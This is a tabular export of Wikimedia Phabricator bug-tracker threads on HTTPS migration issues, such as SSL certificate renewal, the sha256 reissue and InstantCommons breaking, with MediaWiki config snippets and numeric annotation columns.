+655032,blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS,This is not something I have the ability to fix. I would echo @Tbayer in that the actual issue here isn't currently clear.,,,1462197526,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-7kwdiqzwj274sx4nrksn,task_subcomment,,True,c3,3,False,,,43,True,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0
+618426,blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS,"I can file a ticket with Automattic, also in connection with {T105905} . But perhaps someone could come up with a more up to date and precise problem description first? 
+
+Right now it seems that only the permalinks (those ending in a ""p=...."") are in HTTP and the rest is in HTTPS. E.g.. `<guid isPermaLink=""false"">http://blog.wikimedia.org/?p=45232</guid>`  vs,.`<link>https://blog.wikimedia.org/2016/02/17/wikimedia-nsa-appeal-filed/</link>`
+",,,1456465503,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-7kwdiqzwj274sx4nrksn,task_subcomment,,True,c3,3,True,,,34,True,0,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,0,1,1,0,1
+618418,blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS,"Something needs to be done by Automattic, I guess @jrbs can either deal with them or knows who can.",,,1456457393,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-7kwdiqzwj274sx4nrksn,task_subcomment,,True,c3,3,True,,,34,True,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,1,0,0,0,0
+104211,Renew toolserver.org SSL certificate,"There are still redirects to it from inside wikis, and the certificate just expired.",High,80.0,1435596511,1435695195.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-ngm2mktirfp3mgyvcidz,task_description,resolved,True,c3,2,True,False,True,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+484507,Renew toolserver.org SSL certificate,"Change 221896 merged by Andrew Bogott:
+Update toolserver.org.crt.
+
+[[https://gerrit.wikimedia.org/r/221896]]",,,1435695161,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ngm2mktirfp3mgyvcidz,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+484424,Renew toolserver.org SSL certificate,"Change 221896 had a related patch set uploaded (by Andrew Bogott):
+Update toolserver.org.crt.
+
+[[https://gerrit.wikimedia.org/r/221896]]
+",,,1435688765,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ngm2mktirfp3mgyvcidz,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+484416,Renew toolserver.org SSL certificate,"The new certificate and key pair are in Andrew's home directory on iron (ops only bastion).
+
+Andrew: Please commit to the repos when you push into service.  I didn't want to do so, since I'm not sure where your labs instances pull the data.",,,1435687981,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ngm2mktirfp3mgyvcidz,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+483875,Renew toolserver.org SSL certificate,"I put in the toolserver.org domian on globalsign two hours ago, and its still pending vetting.  I've emailed our rep to determine what the hold up is.",,,1435618072,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ngm2mktirfp3mgyvcidz,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1
+483643,Renew toolserver.org SSL certificate,"Since it will be a new certificate (as the old one expired and is on an old vendor), would you guys like to furnish (or have me create) a new key for this as well?",,,1435601491,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ngm2mktirfp3mgyvcidz,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,1,0,0,0,0
+483628,Renew toolserver.org SSL certificate,Let's just renew it for another year.,,,1435600530,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-ngm2mktirfp3mgyvcidz,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+483606,Renew toolserver.org SSL certificate,I will try to research whether or not anyone is still hitting that page.,,,1435598604,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ngm2mktirfp3mgyvcidz,task_subcomment,,True,c3,2,True,,,-1,True,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+483601,Renew toolserver.org SSL certificate,Rob says ~$115 to keep this alive for another year.,,,1435598235,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ngm2mktirfp3mgyvcidz,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+483574,Renew toolserver.org SSL certificate,"There's a fair case to be made for letting it rot, but I think it's worth a bit of money just to keep people from hitting a cert warning.",,,1435596696,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ngm2mktirfp3mgyvcidz,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+104017,update star.wmflabs.org cert from sha1 to sha256,"*.wmflabs.org is currently served with a sha1 hashed certificate.  This task will track the reissue in sha256 and the revocation and deletion of the sha1 cert/config in our side (and on rapidssl).
+
+",High,80.0,1435344045,1435614805.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-betmtajh4mfbsbg53cqx,task_description,resolved,True,c3,2,True,False,True,-1,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+483833,update star.wmflabs.org cert from sha1 to sha256,Done!,,,1435614805,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-betmtajh4mfbsbg53cqx,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+483793,update star.wmflabs.org cert from sha1 to sha256,"Change 221167 merged by Yuvipanda:
+changing *.wmflabs.org from sha1 to sha256
+
+[[https://gerrit.wikimedia.org/r/221167]]",,,1435612132,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-betmtajh4mfbsbg53cqx,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+482652,update star.wmflabs.org cert from sha1 to sha256,"Chatted with Yuvi in IRC.  This seems like it would be something he would handle, so I'll assign it to him for now.  If incorrect, he can just kick it up for grabs or assign to a fellow opsen.",,,1435345414,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-betmtajh4mfbsbg53cqx,task_subcomment,,True,c3,2,True,,,-1,True,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+482638,update star.wmflabs.org cert from sha1 to sha256,"once the cert is updated and in place, someone should kick this task back to me for rapidssl cert revocation of the older sha1 certs.",,,1435344728,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-betmtajh4mfbsbg53cqx,task_subcomment,,True,c3,2,True,,,-1,True,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0
+482637,update star.wmflabs.org cert from sha1 to sha256,"Change 221167 had a related patch set uploaded (by RobH):
+changing *.wmflabs.org from sha1 to sha256
+
+[[https://gerrit.wikimedia.org/r/221167]]
+",,,1435344588,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-betmtajh4mfbsbg53cqx,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+482634,update star.wmflabs.org cert from sha1 to sha256,"there also seems to be two wmflabs certificate files in the repo:
+
+star.wmflabs.crt
+star.wmflabs.org.crt
+
+Now, rapidssl also happens to have two different SHA1 hashed certificates for *.wmflabs.org, so perhaps these are both of them?
+
+My patchset will replace the contents of star.wmflabs.org.crt, and will also propose to remove the other file.  I'll then assign the patchset and this task to the labs team for implementation.",,,1435344190,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-betmtajh4mfbsbg53cqx,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0
+103920,"VisualEditor presents existing interwiki link as external link, indistinguishable from http link","https://www.mediawiki.org/wiki/Reading/Web/SWAT_policy?action=edit&oldid=1692782  has both an interwiki [[`labsconsole:SWAT_deploys#Guidelines` | //link text// ]] link and a URL [`https://wikitech.wikimedia.org/wiki/SWAT_deploys#Guidelines` //link text//] link.
+
+In VisualEditor, these appear identically.
+- external link ""arrow"" icon
+- click on them and the link popup shows https://wikitech...
+- click Edit in the link popup and it shows an ""External link"" https://wikitech..
+
+All of this is wrong for an interwiki link.  If you're editing in order to change https: links to interwiki links, or if you're trying to distinguish interwiki link synonyms (such as labsconsole/wikitech or en/w/wikipedia) it's very confusing!
+
+If I switch the Link dialog to ""Search pages"" pane and change the https://wikitech link to interwiki wikitech:SWAT_deploys#Guidelines , then it appears without an external link icon, and the link popup shows **W**ikitech:SWAT_deploys#Guidelines (capital 'W' but close enough), and if I Edit I see the interwiki link I entered in the ""Search pages"" pane. That's great, so why don't existing interwiki links display and act this way?
+
+Expected result: VisualEditor should present existing interwiki links as interwiki links.
+
+{T51316} is fixed, but this behavior doesn't feel right. Maybe the glitch is in what Parsoid provides, or some link normalization code.",High,80.0,1435267655,1435604174.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-5gkuyhirmvr5yqrduicj,task_description,duplicate,True,c3,2,False,False,True,-1,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+102997,"more on-wiki alerts about breaking API changes (https-only, continue)","The change to https broke a couple of bots,
+the change to continue behavior due 30 June to 2 July will break more.
+
+I think these API changes should be communicated on MediaWiki main page, API main page, and probably other channels I'm unaware of.",High,80.0,1434655835,1435584252.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-mzowpfcgkj3i2mlmgqny,task_description,resolved,True,c3,2,False,False,True,-2,True,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+483550,"more on-wiki alerts about breaking API changes (https-only, continue)",">>! In T102997#1393447, @Aklapper wrote:
+> It was mentioned in [[ https://meta.wikimedia.org/wiki/Tech/News/2015/24 | Tech News w24 ]] and [[ https://meta.wikimedia.org/w/index.php?title=Tech%2FNews%2F2015%2F27&type=revision&diff=12497085&oldid=12496247 | I've added it to get mentioned again in w27 ]].
+
+For the records, mentioned again in https://meta.wikimedia.org/wiki/Tech/News/2015/27",,,1435594829,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mzowpfcgkj3i2mlmgqny,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1
+483445,"more on-wiki alerts about breaking API changes (https-only, continue)","@Elitre: Thanks for sharing that list. Highly appreciated!
+
+So I'm going to close this task as resolved. @SPage: If your missing specific steps to communicate those changes more widely, please reopen and elaborate.
+
+Thanks everybody!",,,1435584252,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mzowpfcgkj3i2mlmgqny,task_subcomment,,True,c3,2,True,,,-1,True,0,1,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,0,0,0,1,1,0,1
+483398,"more on-wiki alerts about breaking API changes (https-only, continue)","This change was announced for months in appropriate venues like mailing lists and Tech News. Despite this, some liaisons decided to spread the word even further on wiki. Wikis which received any kind of notification or are known to be aware of the change are (in some cases, in the wiki's language):
+#en.wp
+#de.wp 
+#nl.wp 
+#fr.wp 
+#ru .wp
+#it.wp
+#es.wp
+#vi.wp
+#pl.wp
+#ja.wp
+#pt.wp
+#zh.wp
+#ca.wp
+#he.wp
+#uk.wp
+We don't plan further on-wiki announcements for this change.",,,1435577480,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-mzowpfcgkj3i2mlmgqny,task_subcomment,,True,c3,2,False,,,-1,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1
+483368,"more on-wiki alerts about breaking API changes (https-only, continue)",Heads-up; slightly related (community health): https://commons.wikimedia.org/wiki/Commons:Village_pump#Pulled_the_plug_on_CategorizationBot_.26_ErfgoedBot ,,,1435574779,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mzowpfcgkj3i2mlmgqny,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+482996,"more on-wiki alerts about breaking API changes (https-only, continue)",I think @Elitre is working on the communication of this API break?,,,1435431302,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-mzowpfcgkj3i2mlmgqny,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0
+480179,"more on-wiki alerts about breaking API changes (https-only, continue)",(as per conversation with @SPage in meeting:) It was mentioned in [[ https://meta.wikimedia.org/wiki/Tech/News/2015/24 | Tech News w24 ]] and [[ https://meta.wikimedia.org/w/index.php?title=Tech%2FNews%2F2015%2F27&type=revision&diff=12497085&oldid=12496247 | I've added it to get mentioned again in w27 ]].,,,1435081534,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mzowpfcgkj3i2mlmgqny,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1
+480134,"more on-wiki alerts about breaking API changes (https-only, continue)","Probably the list of ""important"" would welcome an update so I've asked for that on [[ https://lists.wikimedia.org/pipermail/wikitech-l/2015-June/082178.html | wikitech-l ]] and also asked whether *gadget* maintainers have been contacted (as Sitic on de.wp came up with a query for such gadgets).",,,1435078304,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mzowpfcgkj3i2mlmgqny,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+477928,"more on-wiki alerts about breaking API changes (https-only, continue)","References:
+* change to https: cf. T102566.
+* change to continue behavior: https://lists.wikimedia.org/pipermail/mediawiki-api-announce/2015-June/000084.html
+
+Regarding communication, just pointing out that the Pywikibot compat deprecation announcement by the Pywikibot team kind of mentioned the API ""continue"" breakage already by ""your bot will most likely break."".
+
+Examples:
+* https://commons.wikimedia.org/wiki/Commons:Village_pump/Archive/2015/06#Pywikibot_compat_will_no_longer_be_supported_-_Please_migrate_to_pywikibot_core
+* https://de.wikipedia.org/wiki/Wikipedia:Fragen_zur_Wikipedia/Archiv/2015/Woche_23#Pywikibot_compat_will_no_longer_be_supported_-_Please_migrate_to_pywikibot_core",,,1434713859,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mzowpfcgkj3i2mlmgqny,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,0
+102566,InstantCommons broken by switch to HTTPS,"InstantCommons has been broken by the switch to HTTPS-only mode - see e.g. [[ http://en.wikipedia.beta.wmflabs.org/wiki/Main_Page | beta enwiki ]]. Fixed in master, needs backport to supported branches. HTTPS redirect has been temporarily disabled on Commons to give users time to upgrade.
+
+Patch for people running older versions of MediaWiki: [[ https://git.wikimedia.org/patch/mediawiki%2Fcore/8517b3cb2276878d11004e2b8bd0a41ce8876134 | 8517b3 ]]
+
+Alternatively, you can put this code snippet in your `LocalSettings.php`:
+```
+$wgUseInstantCommons = false;
+$wgForeignFileRepos[] = array(
+	'class' => 'ForeignAPIRepo',
+	'name' => 'wikimediacommons',
+	'apibase' => 'https://commons.wikimedia.org/w/api.php',
+	'hashLevels' => 2,
+	'fetchDescription' => true,
+	'descriptionCacheExpiry' => 43200,
+	'apiThumbCacheExpiry' => 86400,
+);
+```
+
+If that does not help, the root certificate bundle of your server might be missing the certificate authority used by Wikimedia (GlobalSign), in which case it is probably badly outdated and you should update it. If you have shell access, you can check with this command (look at the ""Server certificate"" block):
+> curl -vso /dev/null 'https://upload.wikimedia.org/wikipedia/commons/7/70/Example.png' && echo success || echo failed",High,80.0,1434409881,1446744270.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-ol3sysyye6zvepfewmrh,task_description,resolved,True,c3,2,True,False,False,-3,True,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,1,0,1
+722950,InstantCommons broken by switch to HTTPS,Hi! Finally InstantCommons is working in my wiki again. I don't know exactly what caused the error but after updating form PHP5 to PHP7 and following instructions [[ http://askubuntu.com/questions/761235/upgrading-to-ubuntu-16-04-removed-my-mediawiki-installation-how-do-i-get-it-bac | here ]] it is working again. Thanks to all who had helped me!,,,1473107023,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,61,True,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+689295,InstantCommons broken by switch to HTTPS,"How do I check the http log channel?
+
+In /mediawiki/LocalSettings.php I have following lines:
+
+
+```
+## To enable image uploads, make sure the 'images' directory
+## is writable, then set this to true:
+$wgEnableUploads = true;
+# $wgUseImageMagick = true;
+# $wgImageMagickConvertCommand = ""/usr/bin/convert"";
+
+# InstantCommons allows wiki to use images from http://commons.wikimedia.org
+$wgUseInstantCommons = true;
+
+## If you use ImageMagick (or any other shell command) on a
+## Linux server, this will need to be set to the name of an
+## available UTF-8 locale
+$wgShellLocale = ""en_US.utf8"";
+```
+
+
+In /mediawiki/includes/Setup.php I have following lines:
+
+```
+/**
+ * Initialise $wgLocalFileRepo from backwards-compatible settings
+ */
+if ( !$wgLocalFileRepo ) {
+	$wgLocalFileRepo = [
+		'class' => 'LocalRepo',
+		'name' => 'local',
+		'directory' => $wgUploadDirectory,
+		'scriptDirUrl' => $wgScriptPath,
+		'scriptExtension' => '.php',
+		'url' => $wgUploadBaseUrl ? $wgUploadBaseUrl . $wgUploadPath : $wgUploadPath,
+		'hashLevels' => $wgHashedUploadDirectory ? 2 : 0,
+		'thumbScriptUrl' => $wgThumbnailScriptPath,
+		'transformVia404' => !$wgGenerateThumbnailOnParse,
+		'deletedDir' => $wgDeletedDirectory,
+		'deletedHashLevels' => $wgHashedUploadDirectory ? 3 : 0
+	];
+}
+/**
+ * Initialise shared repo from backwards-compatible settings
+ */
+if ( $wgUseSharedUploads ) {
+	if ( $wgSharedUploadDBname ) {
+		$wgForeignFileRepos[] = [
+			'class' => 'ForeignDBRepo',
+			'name' => 'shared',
+			'directory' => $wgSharedUploadDirectory,
+			'url' => $wgSharedUploadPath,
+			'hashLevels' => $wgHashedSharedUploadDirectory ? 2 : 0,
+			'thumbScriptUrl' => $wgSharedThumbnailScriptPath,
+			'transformVia404' => !$wgGenerateThumbnailOnParse,
+			'dbType' => $wgDBtype,
+			'dbServer' => $wgDBserver,
+			'dbUser' => $wgDBuser,
+			'dbPassword' => $wgDBpassword,
+			'dbName' => $wgSharedUploadDBname,
+			'dbFlags' => ( $wgDebugDumpSql ? DBO_DEBUG : 0 ) | DBO_DEFAULT,
+			'tablePrefix' => $wgSharedUploadDBprefix,
+			'hasSharedCache' => $wgCacheSharedUploads,
+			'descBaseUrl' => $wgRepositoryBaseUrl,
+			'fetchDescription' => $wgFetchCommonsDescriptions,
+		];
+	} else {
+		$wgForeignFileRepos[] = [
+			'class' => 'FileRepo',
+			'name' => 'shared',
+			'directory' => $wgSharedUploadDirectory,
